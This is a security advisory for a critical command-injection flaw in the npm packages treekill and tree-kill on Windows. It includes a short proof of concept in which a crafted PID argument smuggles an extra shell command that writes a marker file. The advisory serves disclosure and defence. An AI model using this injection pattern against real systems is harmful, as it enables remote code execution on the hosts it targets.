GHSA-j7fq-p9q7-5wfvCriticalCVSS 9.8

Treekill Enables OS Command Injection

Published
May 24, 2022
Last Modified
April 22, 2024

🔗 CVE IDs covered (1)

📋 Description

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

🎯 Affected products1

  • npm/tree-kill:< 1.2.2

🔗 References (9)